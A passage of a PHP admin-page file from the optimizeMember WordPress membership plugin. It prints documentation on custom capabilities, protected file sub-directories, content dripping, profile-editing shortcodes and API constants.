								echo '<h3>Packaging Together Custom Capabilities w/ Membership</h3>' . "\n";
								echo '<p>Using one of optimizeMember\'s Payment Button and/or Form Generators, you can add Custom Capabilities in comma-delimited format. optimizeMember builds upon existing functionality offered by <a href="http://codex.wordpress.org/Roles_and_Capabilities" target="_blank" rel="external">WordPress Roles/Capabilities</a>. optimizeMember supports Free Subscribers <em>( at Level #0 )</em>, and several Primary Roles created by the optimizeMember plugin <em>( i.e. optimizeMember Levels 1-4, or up to the number of configured Levels )</em>. Each optimizeMember Level <em>( aka: optimizeMember Role )</em> provides the Capability <code>current_user_can("access_optimizemember_level0"), 1, 2, 3, 4</code>, where <code>access_optimizemember_level[0-4]</code> is the Capability associated with each Role; and Membership Levels provide incremental access <em>( i.e. Level #4 Members can also access content at Levels 0, 1, 2, and 3 beneath them )</em>. In short, these Level-based permissions are the default Capabilities that come with each Membership Level being sold on your site.</p>' . "\n";
								echo '<p>Now, if you\'d like to package together some variations of each Membership Level that you\'re selling, you can! All you do is add <strong>Custom Capabilities</strong> whenever you create your Payment Button and/or Form Shortcode ( <em>there is a field in the Button &amp; Form Generators where you can enter Custom Capabilities</em> ). You can sell Membership Packages that come with Custom Capabilities, and even with custom prices.</p>' . "\n";
								echo '<p>Custom Capabilities are an extension to a feature that already exists in WordPress. The <code>current_user_can()</code> function, can be used to test for these additional Capabilities that you allow. Whenever a Member completes the checkout process, after having purchased a Membership from you ( one that included Custom Capabilities ), optimizeMember will add those Custom Capabilities to the account for that specific Member.</p>' . "\n";
								echo '<p>Custom Capabilities are always prepended with <code>access_optimizemember_ccap_</code>. You fill in the last part, with ONLY lowercase alpha-numerics and/or underscores. For example, let\'s say you want to sell Membership Level #1, as is. But, you also want to sell a slight variation of Membership Level #1, that includes the ability to access the Music &amp; Video sections of your site. So, instead of selling this additional access under a whole new Membership Level, you could just sell a modified version of Membership Level #1. Add the the Custom Capabilities: <code>music,videos</code>. Once a Member has these Capabilities, you can test for these Capabilities using <code>current_user_can("access_optimizemember_ccap_music")</code> and <code>current_user_can("access_optimizemember_ccap_videos")</code>.</p>' . "\n";
								echo '<p>The important thing to realize, is that Custom Capabilities, are just that. They\'re custom. optimizeMember only deals with the default Capabilities that it uses. If you start using Custom Capabilities, you MUST use Simple or Advanced Conditionals ( <em>i.e. <code>current_user_can()</code> logic</em> ) to test for them. Either in your theme files with PHP, or in Posts/Pages using Simple Conditionals <em>( powered by Shortcodes )</em>.</p>' . "\n";
								echo '<p><strong>*New*</strong> In the latest versions of optimizeMember, you can automatically require certain Custom Capabilities on a per Post/Page basis. So now, optimizeMember <em>( if you prefer )</em> CAN handle Custom Capabilities for you automatically! Whenever you edit a Post/Page <em>( i.e. there is a Meta Box for optimizeMember in your Post/Page editing station )</em>... you can tell optimizeMember to require certain Custom Capabilities that you type in, using comma-delimited format. In other words, you will need to type in some of the trigger words that you used whenever you created your Payment Buttons/Forms. This way paying Members will have the Custom Capabilities to view different kinds of content that you offer.</p>' . "\n";
								echo '<p><strong>*New*</strong> By default, a Checkout Button or Form generated by optimizeMember is designed to (Add) Custom Capabilities to any that may or may not already exist for a particular User/Member. However, starting with optimizeMember v110815+, you can tell optimizeMember to (Remove All) Custom Capabilities, and then (Add) only the new ones that you specify. This is accomplished on a per Form/Button basis by preceding your comma-delimited list of Custom Capabilities with `-all`. For further details on this topic, click the <a href="#" onclick="alert(\'*ADVANCED TIP: You can specifiy a list of Custom Capabilities that will be (Added) with this purchase. Or, you could tell optimizeMember to (Remove All) Custom Capabilities that may or may not already exist for a particular Member, and (Add) only the new ones that you specify. To do this, just start your list of Custom Capabilities with `-all`.\\n\\nSo instead of just (Adding) Custom Capabilities:\\nmusic,videos,archives,gifts\\n\\nYou could (Remove All) that may already exist, and then (Add) new ones:\\n-all,calendar,forums,tools\\n\\nOr to just (Remove All) and (Add) nothing:\\n-all\'); return false;" tabindex="-1">[?]</a> icon next to the Custom Capabilities field in any Button/Form Generator supplied by optimizeMember.</p>' . "\n";
								echo '<p><strong>*New*</strong> Independent Custom Capabilities. You can now sell one or more Custom Capabilities using Buy Now functionality, to "existing" Users/Members, regardless of which Membership Level they have on your site <em>( i.e. you could even sell Independent Custom Capabilities to Users at Membership Level #0, normally referred to as Free Subscribers, if you like )</em>. So this is quite flexible. For further details, please check your Dashboard, under: <code>optimizeMember -> PayPal Buttons -> Capability (Buy Now) Buttons</code>.</p>' . "\n";
								do_action ("ws_plugin__optimizemember_during_scripting_page_during_left_sections_during_custom_capabilities", get_defined_vars ());
								/**/
								echo '<div class="ws-menu-page-hr"></div>' . "\n";
								/**/
								//echo '<p><strong>TIP:</strong> In addition to this documentation, you may also want to have a look at the <a href="http://www.optimizepress.com/codex/" target="_blank" rel="external">optimizeMember Codex</a>.<br />' . "\n";
								//echo '<strong>See Also:</strong> <a href="http://www.optimizepress.com/codex/stable/optimizemember/api_constants/package-summary/" target="_blank" rel="external">optimizeMember Codex -> API Constants</a>, and <a href="http://www.optimizepress.com/codex/stable/optimizemember/api_functions/package-summary/" target="_blank" rel="external">optimizeMember Codex -> API Functions</a>.<br />' . "\n";
								echo '<strong>See Also:</strong> <a href="http://wordpress.org/extend/plugins/user-role-editor/" target="_blank" rel="external">Plugins -> User Role Editor</a> <em>( may come in handy for some )</em>.</p>' . "\n";
								/**/
								echo '<div class="ws-menu-page-hr"></div>' . "\n";
								/**/
								echo '<p><strong>Custom Capabilities:</strong> ( music,videos ):</p>' . "\n";
								echo '<p>' . c_ws_plugin__optimizemember_utils_strings::highlight_php (file_get_contents (dirname (__FILE__) . "/code-samples/current-user-can-ccaps-1.x-php")) . '</p>' . "\n";
								/**/
								echo '<p><strong>Custom Capabilities:</strong> ( ebooks,reports,tips ):</p>' . "\n";
								echo '<p>' . c_ws_plugin__optimizemember_utils_strings::highlight_php (file_get_contents (dirname (__FILE__) . "/code-samples/current-user-can-ccaps-2.x-php")) . '</p>' . "\n";
								echo '</div>' . "\n";
								/**/
								echo '</div>' . "\n";
								/**/
								do_action ("ws_plugin__optimizemember_during_scripting_page_during_left_sections_after_custom_capabilities", get_defined_vars ());
							}
						/**/
						if (apply_filters ("ws_plugin__optimizemember_during_scripting_page_during_left_sections_display_custom_capability_files", (!is_multisite () || !c_ws_plugin__optimizemember_utils_conds::is_multisite_farm () || is_main_site ()), get_defined_vars ()))
							{
								do_action ("ws_plugin__optimizemember_during_scripting_page_during_left_sections_before_custom_capability_files", get_defined_vars ());
								/**/
								echo '<div class="ws-menu-page-group" title="Custom Capability &amp; Member Level Files">' . "\n";
								/**/
								echo '<div class="ws-menu-page-section ws-plugin--optimizemember-custom-capability-files-section">' . "\n";
								echo '<h3>Restricting Files, Based On Custom Capabilities</h3>' . "\n";
								echo '<p>If you\'re NOT familiar with Custom Capabilities yet, please read the section above, titled: `Custom Capability Packages`, and also see: `optimizeMember -> Download Options`, both as primers; BEFORE you read this section. Once you understand the basic concept of Custom Capabilities &amp; Protected File Downloads, you\'ll see that ( by default ) optimizeMember does NOT handle File Download Protection with respect to Custom Capabilities. That\'s where Custom Capability Sub-directories come in.</p>' . "\n";
								echo '<p>You can create Custom Capability Sub-directories under: <code>' . esc_html (c_ws_plugin__optimizemember_utils_dirs::doc_root_path ($GLOBALS["WS_PLUGIN__"]["optimizemember"]["c"]["files_dir"])) . '</code>. For instance, if you have a Custom Capability <code>music</code>, you can place protected files that should ONLY be accessible to Members with <code>access_optimizemember_ccap_music</code>, inside: <code>/' . esc_html (c_ws_plugin__optimizemember_utils_dirs::basename_dir_app_data ($GLOBALS["WS_PLUGIN__"]["optimizemember"]["c"]["files_dir"])) . '/access-optimizemember-ccap-music/</code>. Some examples are provided below.</p>' . "\n";
								do_action ("ws_plugin__optimizemember_during_scripting_page_during_left_sections_during_custom_capability_files", get_defined_vars ());
								/**/
								echo '<div class="ws-menu-page-hr"></div>' . "\n";
								/**/
								//echo '<p><strong>TIP:</strong> In addition to this documentation, you may also want to have a look at the <a href="http://www.optimizepress.com/codex/" target="_blank" rel="external">optimizeMember Codex</a>.<br />' . "\n";
								//echo '<strong>See Also:</strong> <a href="http://www.optimizepress.com/codex/stable/optimizemember/api_constants/package-summary/" target="_blank" rel="external">optimizeMember Codex -> API Constants</a>, and <a href="http://www.optimizepress.com/codex/stable/optimizemember/api_functions/package-summary/" target="_blank" rel="external">optimizeMember Codex -> API Functions</a>.</p>' . "\n";
								/**/
								echo '<div class="ws-menu-page-hr"></div>' . "\n";
								/**/
								echo '<p><strong>Custom Capabilities:</strong> ( music,videos )</p>' . "\n";
								echo '<p>Sub-Directory: <code>/' . esc_html (c_ws_plugin__optimizemember_utils_dirs::basename_dir_app_data ($GLOBALS["WS_PLUGIN__"]["optimizemember"]["c"]["files_dir"])) . '/access-optimizemember-ccap-music</code><br />Sub-Directory: <code>/' . esc_html (c_ws_plugin__optimizemember_utils_dirs::basename_dir_app_data ($GLOBALS["WS_PLUGIN__"]["optimizemember"]["c"]["files_dir"])) . '/access-optimizemember-ccap-videos</code></p>' . "\n";
								echo '<p>Protected File: <code>/' . esc_html (c_ws_plugin__optimizemember_utils_dirs::basename_dir_app_data ($GLOBALS["WS_PLUGIN__"]["optimizemember"]["c"]["files_dir"])) . '/access-optimizemember-ccap-music/file.mp3</code><br />Protected File: <code>/' . esc_html (c_ws_plugin__optimizemember_utils_dirs::basename_dir_app_data ($GLOBALS["WS_PLUGIN__"]["optimizemember"]["c"]["files_dir"])) . '/access-optimizemember-ccap-videos/file.avi</code></p>' . "\n";
								echo '<p>Now, here are some link examples, using Custom Capability Sub-directories:</p>' . "\n";
								echo '<p>' . c_ws_plugin__optimizemember_utils_strings::highlight_php (file_get_contents (dirname (__FILE__) . "/code-samples/ccap-file-downloads.x-php")) . '</p>' . "\n";
								echo '<p><em>These links will ONLY work for Members who are logged-in, with the proper Capabilities.</em></p>' . "\n";
								/**/
								echo '<div class="ws-menu-page-hr"></div>' . "\n";
								/**/
								echo '<p><strong>Membership Levels:</strong> ( this also works fine )</p>' . "\n";
								echo '<p>Sub-Directory: <code>/' . esc_html (c_ws_plugin__optimizemember_utils_dirs::basename_dir_app_data ($GLOBALS["WS_PLUGIN__"]["optimizemember"]["c"]["files_dir"])) . '/access-optimizemember-level0</code><br />Sub-Directory: <code>/' . esc_html (c_ws_plugin__optimizemember_utils_dirs::basename_dir_app_data ($GLOBALS["WS_PLUGIN__"]["optimizemember"]["c"]["files_dir"])) . '/access-optimizemember-level1</code><br />Sub-Directory: <code>/' . esc_html (c_ws_plugin__optimizemember_utils_dirs::basename_dir_app_data ($GLOBALS["WS_PLUGIN__"]["optimizemember"]["c"]["files_dir"])) . '/access-optimizemember-level2</code><br />Sub-Directory: <code>/' . esc_html (c_ws_plugin__optimizemember_utils_dirs::basename_dir_app_data ($GLOBALS["WS_PLUGIN__"]["optimizemember"]["c"]["files_dir"])) . '/access-optimizemember-level3</code><br />Sub-Directory: <code>/' . esc_html (c_ws_plugin__optimizemember_utils_dirs::basename_dir_app_data ($GLOBALS["WS_PLUGIN__"]["optimizemember"]["c"]["files_dir"])) . '/access-optimizemember-level4</code></p>' . "\n";
								echo '<p>Protected File: <code>/' . esc_html (c_ws_plugin__optimizemember_utils_dirs::basename_dir_app_data ($GLOBALS["WS_PLUGIN__"]["optimizemember"]["c"]["files_dir"])) . '/access-optimizemember-level0/tiger.doc</code><br />Protected File: <code>/' . esc_html (c_ws_plugin__optimizemember_utils_dirs::basename_dir_app_data ($GLOBALS["WS_PLUGIN__"]["optimizemember"]["c"]["files_dir"])) . '/access-optimizemember-level1/zebra.pdf</code><br />Protected File: <code>/' . esc_html (c_ws_plugin__optimizemember_utils_dirs::basename_dir_app_data ($GLOBALS["WS_PLUGIN__"]["optimizemember"]["c"]["files_dir"])) . '/access-optimizemember-level2/elephant.doc</code><br />Protected File: <code>/' . esc_html (c_ws_plugin__optimizemember_utils_dirs::basename_dir_app_data ($GLOBALS["WS_PLUGIN__"]["optimizemember"]["c"]["files_dir"])) . '/access-optimizemember-level3/rhino.pdf</code><br />Protected File: <code>/' . esc_html (c_ws_plugin__optimizemember_utils_dirs::basename_dir_app_data ($GLOBALS["WS_PLUGIN__"]["optimizemember"]["c"]["files_dir"])) . '/access-optimizemember-level4/lion.doc</code></p>' . "\n";
								echo '<p>Now, here are some link examples, using Member Level Sub-directories:</p>' . "\n";
								echo '<p>' . c_ws_plugin__optimizemember_utils_strings::highlight_php (file_get_contents (dirname (__FILE__) . "/code-samples/level-file-downloads.x-php")) . '</p>' . "\n";
								echo '<p><em>These links will ONLY work for Members who are logged-in, with an adequate Membership Level.</em></p>' . "\n";
								echo '</div>' . "\n";
								/**/
								echo '</div>' . "\n";
								/**/
								do_action ("ws_plugin__optimizemember_during_scripting_page_during_left_sections_after_custom_capability_files", get_defined_vars ());
							}
						/**/
						if (apply_filters ("ws_plugin__optimizemember_during_scripting_page_during_left_sections_display_api_advanced_dripping", (!is_multisite () || !c_ws_plugin__optimizemember_utils_conds::is_multisite_farm () || is_main_site ()), get_defined_vars ()))
							{
								do_action ("ws_plugin__optimizemember_during_scripting_page_during_left_sections_before_api_advanced_dripping", get_defined_vars ());
								/**/
								echo '<div class="ws-menu-page-group" title="optimizeMember Content Dripping">' . "\n";
								/**/
								echo '<div class="ws-menu-page-section ws-plugin--optimizemember-api-advanced-dripping-section">' . "\n";
								echo '<h3>Dripping Content ( some PHP scripting required )</h3>' . "\n";
								echo '<p>Content Dripping is the gradual, pre-scheduled release of premium website content to paying Members. This has become increasingly popular, because it allows older Members; those who have paid you more, due to recurring charges; to acquire access to more content progressively; based on their original paid registration time. It also gives you ( as the site owner ), the ability to launch multiple membership site portals, operating on autopilot, without any direct day-to-day involvement in a content release process. This requires some PHP scripting. In order to use PHP scripting inside your Posts/Pages, you\'ll need to install this handy plugin ( <a href="http://wordpress.org/extend/plugins/php-execution-plugin/" target="_blank" rel="external">PHP Execution</a> ).</p>' . "\n";
								do_action ("ws_plugin__optimizemember_during_scripting_page_during_left_sections_during_api_advanced_dripping", get_defined_vars ());
								/**/
								echo '<div class="ws-menu-page-hr"></div>' . "\n";
								/**/
								//echo '<p><strong>TIP:</strong> In addition to this documentation, you may also want to have a look at the <a href="http://www.optimizepress.com/codex/" target="_blank" rel="external">optimizeMember Codex</a>.<br />' . "\n";
								//echo '<strong>See Also:</strong> <a href="http://www.optimizepress.com/codex/stable/optimizemember/api_constants/package-summary/" target="_blank" rel="external">optimizeMember Codex -> API Constants</a>, and <a href="http://www.optimizepress.com/codex/stable/optimizemember/api_functions/package-summary/" target="_blank" rel="external">optimizeMember Codex -> API Functions</a>.</p>' . "\n";
								/**/
								echo '<div class="ws-menu-page-hr"></div>' . "\n";
								/**/
								echo '<p><strong>To drip content using <code>OPTIMIZEMEMBER_CURRENT_USER_PAID_REGISTRATION_DAYS</code>:</strong></p>' . "\n";
								echo '<p>' . c_ws_plugin__optimizemember_utils_strings::highlight_php (file_get_contents (dirname (__FILE__) . "/code-samples/current-user-paid-registration-days-dripping.x-php")) . '</p>' . "\n";
								/**/
								echo '<p><em>There are more examples on this page, under the sub-section "optimizeMember PHP/API Constants". You\'ll see that optimizeMember provides you with access to several PHP/API Constants, which will assist you in dripping content. Some of the most relevant API Constants include: <code>OPTIMIZEMEMBER_CURRENT_USER_PAID_REGISTRATION_TIME</code>, <code>OPTIMIZEMEMBER_CURRENT_USER_PAID_REGISTRATION_DAYS</code>, <code>OPTIMIZEMEMBER_CURRENT_USER_REGISTRATION_TIME</code>, <code>OPTIMIZEMEMBER_CURRENT_USER_REGISTRATION_DAYS</code>; and there are many others.</em></p>' . "\n";
								/**/
								echo '<div class="ws-menu-page-hr"></div>' . "\n";
								/**/
								echo '<h3>Very Advanced Content Dripping ( some PHP required )</h3>' . "\n";
								echo '<p>If you plan on dripping content in VERY advanced ways, you can tap into optimizeMember\'s recorded history of all Paid Registration Times. ( i.e. <code>' . esc_html ('<?php $time = optimizemember_paid_registration_time("level1"); ?>') . '</code> ) will give you a timestamp at which a Member first paid for Level#1 access. If they\'ve never paid for Level#1 access, the function will return 0. optimizeMember keeps a recorded history of timestamps associated with each Level that a Member gains access to, throughout the lifetime of their account. * NOTE: This requires optimizeMember v3.3+. Previous versions of optimizeMember did NOT record this information. If you implement this functionality on an upgraded installation of optimizeMember, please remember that optimizeMember will have NO Paid Registration Time for any Member you acquired prior to installing optimizeMember v3.3+. <em>Check the forums for work-arounds.</em></p>' . "\n";
								echo '<p><strong>Here is the function documentation for PHP/WordPress developers:</strong></p>' . "\n";
								echo '<p>' . c_ws_plugin__optimizemember_utils_strings::highlight_php (file_get_contents (dirname (__FILE__) . "/code-samples/s2member-paid-registration-time.x-php")) . '</p>' . "\n";
								echo '<p><strong>Here are some actual examples that should give you some ideas:</strong></p>' . "\n";
								echo '<p>' . c_ws_plugin__optimizemember_utils_strings::highlight_php (file_get_contents (dirname (__FILE__) . "/code-samples/s2member-paid-registration-time-examples.x-php")) . '</p>' . "\n";
								echo '</div>' . "\n";
								/**/
								echo '</div>' . "\n";
								/**/
								do_action ("ws_plugin__optimizemember_during_scripting_page_during_left_sections_after_api_advanced_dripping", get_defined_vars ());
							}
						/**/
						if (apply_filters ("ws_plugin__optimizemember_during_scripting_page_during_left_sections_display_profile_modifications", (!is_multisite () || !c_ws_plugin__optimizemember_utils_conds::is_multisite_farm () || is_main_site ()), get_defined_vars ()))
							{
								do_action ("ws_plugin__optimizemember_during_scripting_page_during_left_sections_before_profile_modifications", get_defined_vars ());
								/**/
								echo '<div class="ws-menu-page-group" title="Member Profile Modifications">' . "\n";
								/**/
								echo '<div class="ws-menu-page-section ws-plugin--optimizemember-profile-modifications-section">' . "\n";
								echo '<h3>Giving Members The Ability To Modify Their Profile</h3>' . "\n";
								echo '<p>optimizeMember can be configured to redirect Members away from the <a href="' . esc_attr (admin_url ("/profile.php")) . '" target="_blank" rel="external">default Profile Editing Panel</a> that is built into WordPress. When/if a Member attempts to access the default Profile Editing Panel, they\'ll instead, be redirected to the Login Welcome Page that you\'ve configured through optimizeMember. <strong>Why would I redirect?</strong> Unless you\'ve made some drastic modifications to your WordPress installation, the default Profile Editing Panel that ships with WordPress, is NOT really suited for public access, even by a Member. See: <code>optimizeMember -> General Options -> Profile Modifications</code>.</p>' . "\n";
								echo '<p>So instead of using this default Profile Editing Panel; optimizeMember creates an added layer of functionality, on top of WordPress. It does this by providing you ( as the site owner ), with a special Shortcode: <code>[optimizeMember-Profile /]</code> that you can place into your Login Welcome Page, or any Post/Page for that matter ( even into a Text Widget ). This Shortcode produces an Inline Profile Editing Form that supports all aspects of optimizeMember, including Password changes; and any Custom Registration/Profile Fields that you\'ve configured with optimizeMember.</p>' . "\n";
								echo '<p>Alternatively, optimizeMember also gives you the ability to send your Members to a <a href="' . esc_attr (site_url ("/?optimizemember_profile=1")) . '" target="_blank" rel="external">special Stand-Alone version</a>. This Stand-Alone version has been designed ( with a bare-bones format ), intentionally. This makes it possible for you to <a href="#" onclick="if(!window.open(\'' . site_url ("/?optimizemember_profile=1") . '\', \'_popup\', \'width=600,height=400,left=100,screenX=100,top=100,screenY=100,location=0,menubar=0,toolbar=0,status=0,scrollbars=1,resizable=1\')) alert(\'Please disable popup blockers and try again!\'); return false;" rel="external">open it up in a popup window</a>, or embed it into your Login Welcome Page using an IFRAME. Code samples are provided below.</p>' . "\n";
								do_action ("ws_plugin__optimizemember_during_scripting_page_during_left_sections_during_profile_modifications", get_defined_vars ());
								/**/
								echo '<div class="ws-menu-page-hr"></div>' . "\n";
								/**/
								echo '<p><strong>Shortcode:</strong> for an Inline Profile Modification Form:<br />' . "\n";
								echo '<p><input type="text" autocomplete="off" value="' . format_to_edit ('[optimizeMember-Profile /]') . '" style="font-size:90%; font-family:Consolas, monospace; width:99%;" onclick="this.select ();" /></p>' . "\n";
								/**/
								echo '<p style="margin-top:20px;"><strong>Stand-Alone / Code Sample</strong> ( standard link tag ):</p>' . "\n";
								echo '<p><input type="text" autocomplete="off" value="' . format_to_edit (preg_replace ("/\<\?php echo OPTIMIZEMEMBER_CURRENT_USER_PROFILE_MODIFICATION_PAGE_URL; \?\>/", c_ws_plugin__optimizemember_utils_strings::esc_refs (site_url ("/?optimizemember_profile=1")), file_get_contents (dirname (__FILE__) . "/code-samples/current-user-profile-modification-page-url-1-ops.x-php"))) . '" style="font-size:90%; font-family:Consolas, monospace; width:99%;" onclick="this.select ();" /></p>' . "\n";
								/**/
								echo '<p style="margin-top:20px;"><strong>Stand-Alone / Code Sample</strong> ( open the link in a popup window ):</p>' . "\n";
								echo '<p><input type="text" autocomplete="off" value="' . format_to_edit (preg_replace ("/\<\?php echo OPTIMIZEMEMBER_CURRENT_USER_PROFILE_MODIFICATION_PAGE_URL; \?\>/", c_ws_plugin__optimizemember_utils_strings::esc_refs (site_url ("/?optimizemember_profile=1")), file_get_contents (dirname (__FILE__) . "/code-samples/current-user-profile-modification-page-url-2-ops.x-php"))) . '" style="font-size:90%; font-family:Consolas, monospace; width:99%;" onclick="this.select ();" /></p>' . "\n";
								/**/
								echo '<p style="margin-top:20px;"><strong>Stand-Alone / Code Sample</strong> ( embed the Form with an IFRAME tag ):</p>' . "\n";
								echo '<p><input type="text" autocomplete="off" value="' . format_to_edit (preg_replace ("/\<\?php echo OPTIMIZEMEMBER_CURRENT_USER_PROFILE_MODIFICATION_PAGE_URL; \?\>/", c_ws_plugin__optimizemember_utils_strings::esc_refs (site_url ("/?optimizemember_profile=1")), file_get_contents (dirname (__FILE__) . "/code-samples/current-user-profile-modification-page-url-3-ops.x-php"))) . '" style="font-size:90%; font-family:Consolas, monospace; width:99%;" onclick="this.select ();" /></p>' . "\n";
								echo '</div>' . "\n";
								/**/
								echo '</div>' . "\n";
								/**/
								do_action ("ws_plugin__optimizemember_during_scripting_page_during_left_sections_after_profile_modifications", get_defined_vars ());
							}
						/**/
						if (apply_filters ("ws_plugin__optimizemember_during_scripting_page_during_left_sections_display_api_constants", true, get_defined_vars ()))
							{
								do_action ("ws_plugin__optimizemember_during_scripting_page_during_left_sections_before_api_constants", get_defined_vars ());
								/**/
								if (is_multisite () && c_ws_plugin__optimizemember_utils_conds::is_multisite_farm () && !is_main_site ()) /* Two versions. */
									{
										echo '<div class="ws-menu-page-group" title="opmGet / optimizeMember API Constants">' . "\n";
										/**/
										echo '<div class="ws-menu-page-section ws-plugin--optimizemember-api-constants-section">' . "\n";
										echo '<h3>Using opmGet w/ optimizeMember API Constants</h3>' . "\n";
										echo '<p>A Constant, is an identifier ( a name ) for a simple value. Below is a comprehensive list that includes all of the defined Constants available to you. We recommend using some of these Constants in the creation of your Login Welcome Page; which is described in the optimizeMember General Options Panel. These are NOT required, but you can get pretty creative with your Login Welcome Page if you know how to use the <code>[opmGet constant="" /]</code> Shortcode for WordPress.</p>' . "\n";
										echo '<p>For example, you might use <code>[opmGet constant="OPTIMIZEMEMBER_CURRENT_USER_ACCESS_LABEL" /]</code> to display the type of Membership a Customer has.</em></p>' . "\n";
										do_action ("ws_plugin__optimizemember_during_scripting_page_during_left_sections_during_api_constants_farm", get_defined_vars ());
										/**/
										echo '<div class="ws-menu-page-hr"></div>' . "\n";
										/**/
										echo '<p><strong>OPTIMIZEMEMBER_VERSION</strong><br />This will always be a (string) with the current optimizeMember version. Available since optimizeMember 3.0. Dated versions began with optimizeMember v110604.</p>' . "\n";
										/**/
										echo '<div class="ws-menu-page-hr"></div>' . "\n";
										/**/
										echo '<p><strong>OPTIMIZEMEMBER_CURRENT_USER_LOGIN_COUNTER</strong><br />This will always be (int) <code>-1</code> or higher <em>( representing the number of times a User/Member has logged into your site )</em>. <code>-1</code> if no User is logged in. <code>0</code> if the current User has NEVER logged in.</p>' . "\n";
										/**/
										echo '<div class="ws-menu-page-hr"></div>' . "\n";
										/**/
										echo '<p><strong>OPTIMIZEMEMBER_CURRENT_USER_IS_LOGGED_IN</strong><br />This will always be (bool) true or false. True if a User/Member is currently logged in with an Access Level >= 0.</p>' . "\n";
										echo '<p><em>See: <code>OPTIMIZEMEMBER_CURRENT_USER_ACCESS_LEVEL</code> below for a full explanation.</em></p>' . "\n";
										/**/
										echo '<div class="ws-menu-page-hr"></div>' . "\n";
										/**/
										echo '<p><strong>OPTIMIZEMEMBER_CURRENT_USER_IS_LOGGED_IN_AS_MEMBER</strong><br />This will always be (bool) true or false. True if a Member is currently logged in with an Access Level >= 1.</p>' . "\n";
										echo '<p><em>See: <code>OPTIMIZEMEMBER_CURRENT_USER_ACCESS_LEVEL</code> below for a full explanation.</em></p>' . "\n";
										/**/
										echo '<div class="ws-menu-page-hr"></div>' . "\n";
										/**/
										echo '<p><strong>OPTIMIZEMEMBER_CURRENT_USER_ACCESS_LEVEL</strong><br />This will always be (int) <code>-1</code> thru <code>4</code> <em>( or, up to the total number Membership Levels you\'ve configured )</em>. <code>-1</code> if not logged in. <code>0</code> if logged in as a Free Subscriber.</p>' . "\n";
										echo '<p><strong>Membership Levels provide incremental access:</strong></p>' . "\n";
										echo '<p>* A Member with Level 4 access, will also be able to access Levels 0, 1, 2 &amp; 3.<br />* A Member with Level 3 access, will also be able to access Levels 0, 1 &amp; 2.<br />* A Member with Level 2 access, will also be able to access Levels 0 &amp; 1.<br />* A Member with Level 1 access, will also be able to access Level 0.<br />* A Subscriber with Level 0 access, will ONLY be able to access Level 0.<br />* A public Visitor will have NO access to protected content.</p>' . "\n";
										echo '<p><em>* WordPress Subscribers are at Membership Level 0. If you\'re allowing Open Registration, Subscribers will be at Level 0 ( a Free Subscriber ). WordPress Administrators, Editors, Authors, and Contributors have Level 4 access, with respect to optimizeMember. All of their other Roles/Capabilities are left untouched.</em></p>' . "\n";
										/**/
										echo '<div class="ws-menu-page-hr"></div>' . "\n";
										/**/
										echo '<p><strong>OPTIMIZEMEMBER_CURRENT_USER_ACCESS_LABEL</strong><br />This will always be a (string) containing the Membership Label associated with the current User\'s account. Empty if not logged in.</p>' . "\n";
										/**/
										echo '<div class="ws-menu-page-hr"></div>' . "\n";
										/**/
										echo '<p><strong>OPTIMIZEMEMBER_CURRENT_USER_SUBSCR_ID</strong><br />This will always be a (string) containing the current User\'s Paid Subscr. ID. If they\'ve NOT paid yet, this will be an empty string. Also empty if not logged in.</p>' . "\n";
										/**/
										echo '<div class="ws-menu-page-hr"></div>' . "\n";
										/**/
										echo '<p><strong>OPTIMIZEMEMBER_CURRENT_USER_SUBSCR_OR_WP_ID</strong><br />This will always be a (string) containing the current User\'s Paid Subscr. ID. If they\'ve NOT paid yet, this will be their WordPress User ID#. Empty if not logged in.</p>' . "\n";
										/**/
										echo '<div class="ws-menu-page-hr"></div>' . "\n";
										/**/
										echo '<p><strong>OPTIMIZEMEMBER_CURRENT_USER_SUBSCR_GATEWAY</strong><br />This will always be a (string) containing the current User\'s Paid Subscr. Gateway. If they\'ve NOT paid yet, this will be empty. Empty if not logged in.</p>' . "\n";
										/**/
										echo '<div class="ws-menu-page-hr"></div>' . "\n";
										/**/
										echo '<p><strong>OPTIMIZEMEMBER_CURRENT_USER_CUSTOM</strong><br />This will always be a (string) containing the current User\'s Custom String; associated with their optimizeMember Profile. Empty if not logged in.</p>' . "\n";
										/**/
										echo '<div class="ws-menu-page-hr"></div>' . "\n";
										/**/
										echo '<p><strong>OPTIMIZEMEMBER_CURRENT_USER_REGISTRATION_TIME</strong><br />This will always be an (int); in the form of a Unix timestamp. 0 if not logged in. This holds the recorded time at which the User originally registered their Username for access to your site; for free or otherwise. <strong>* Note:</strong> this is NOT the same as <code>OPTIMIZEMEMBER_CURRENT_USER_PAID_REGISTRATION_TIME</code>, which could be used as an alternative, depending on your intended usage.</p>' . "\n";
										/**/
										echo '<div class="ws-menu-page-hr"></div>' . "\n";
										/**/
										echo '<p><strong>OPTIMIZEMEMBER_CURRENT_USER_PAID_REGISTRATION_TIME</strong><br />This will always be an (int); in the form of a Unix timestamp. However, this will be 0 if they\'re not logged in; or if they\'ve never paid you at all <em>( i.e. if they\'re still a Free Subscriber )</em>. This holds the recorded time at which the Member originally registered their Username (or upgraded for) any type of "paid" access to your site. This value is preserved for the lifetime of their account, even if they upgrade, and even if they\'re demoted at some point. Once this value is recorded, it never changes under any circumstance. <strong>* Note:</strong> this is NOT the same as <code>OPTIMIZEMEMBER_CURRENT_USER_REGISTRATION_TIME</code>, which could be used as an alternative, depending on your intended usage.</p>' . "\n";
										/**/
										echo '<div class="ws-menu-page-hr"></div>' . "\n";
										/**/
										echo '<p><strong>OPTIMIZEMEMBER_CURRENT_USER_PAID_REGISTRATION_DAYS</strong><br />This will always be an (int); in the form of a Unix timestamp. However, this will be 0 if they\'re not logged in; or if they\'ve never paid you at all <em>( i.e. if they\'re still a Free Subscriber )</em>. This is the number of days that have passed since the Member originally registered their Username (or upgraded for) any type of "paid" access to your site. The underlying timestamp behind this value is preserved for the lifetime of their account, even if they upgrade, and even if they\'re demoted at some point. Once the underlying timestamp behind this value is recorded, it never changes under any circumstance. <strong>* Note:</strong> this is NOT the same as <code>OPTIMIZEMEMBER_CURRENT_USER_REGISTRATION_DAYS</code>, which could be used as an alternative, depending on your intended usage.</p>' . "\n";
										/**/
										echo '<div class="ws-menu-page-hr"></div>' . "\n";
										/**/
										echo '<p><strong>OPTIMIZEMEMBER_CURRENT_USER_REGISTRATION_DAYS</strong><br />This will always be an (int). 0 if not logged in. This is the number of days that have passed since the User originally registered their Username for access to your site; for free or otherwise. <strong>* Note:</strong> this is NOT the same as <code>OPTIMIZEMEMBER_CURRENT_USER_PAID_REGISTRATION_DAYS</code>, which could be used as an alternative, depending on your intended usage.</p>' . "\n";
										/**/
										echo '<div class="ws-menu-page-hr"></div>' . "\n";
										/**/
